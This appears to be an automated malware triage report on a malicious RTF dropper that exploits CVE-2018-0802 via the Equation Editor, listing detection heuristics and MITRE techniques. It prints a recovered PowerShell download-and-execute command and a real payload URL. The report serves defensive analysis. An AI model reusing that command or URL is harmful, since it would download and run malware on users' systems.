MALICIOUS
282
Risk Score
Malware Insights
MITRE ATT&CK
T1566.001 Spearphishing Attachment
T1203 Exploitation for Client Execution
The RTF file contains an embedded OLE object that exploits CVE-2018-0802 via the Equation Editor. The document body contains a lure to 'ENABLE EDITING', which would likely trigger the exploit and download a payload from the embedded URLs. The presence of shellcode and URL indicators strongly suggests a malicious dropper.
Heuristics 8
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Equation Editor CLSID critical CVE likely RTF_EQUATION_EDITOREquation Editor OLE CLSID found inside an OLE object — exploited by CVE-2017-11882 / CVE-2018-0802 / CVE-2018-0798
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ClamAV: Rtf.Exploit.CVE_2018_0802-6825822-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Rtf.Exploit.CVE_2018_0802-6825822-0
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Suspicious extracted artifact critical EXTRACTED_FILE_STATIC_TRIAGEOne or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
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\objupdate forces OLE activation high RTF_OBJUPDATERTF contains \objupdate — forces automatic OLE object instantiation when the document is opened, bypassing user interaction. Almost exclusively seen in Equation Editor exploit documents.
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OLE object data medium RTF_OBJDATARTF contains 2 \objdata section(s) — embedded OLE objects
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OlePres presentation stream in RTF OLE object medium RTF_OLEPRES_STREAMRTF contains an embedded OLE object with an OlePres presentation stream. OlePres is an OLE presentation marker and is not enough on its own to identify CVE-2025-21298.
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Macro/content-enable lure medium SE_ENABLE_LUREDocument instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
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Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://217.182.9.196/4.exe In RTF body
- http://217.182.9.1In RTF body
Extracted artifacts 2
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
objdata_00_off000000ae.bin |
rtf-objdata-decoded | RTF \objdata at offset 0xAE | 478 bytes |
SHA-256: 2680ac741e2b94c2ee03f7f1e50b224f6e47fe5c9ea745ee267e3c90b5097714 |
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Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
Static shellcode analysis recovered URL(s): http://217.182.9.196/4.exe Static shellcode analysis recovered command string(s): PoWerShELL ""function abc([String] $vvd){(New-Object System.Net.WebClient).downLoadFile($vvd,'%TEMP%\win.exe');staRt-pRoCeSS '%TEMP%\win.exe';}try{abc('http://217.182.9.1
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objdata_01_off00000528.bin |
rtf-objdata-decoded | RTF \objdata at offset 0x528 | 4681 bytes |
SHA-256: 2a3b94a2586ceca7b995cef4297ade9adfcf39facc69dc7f8c34d135955cedd6 |
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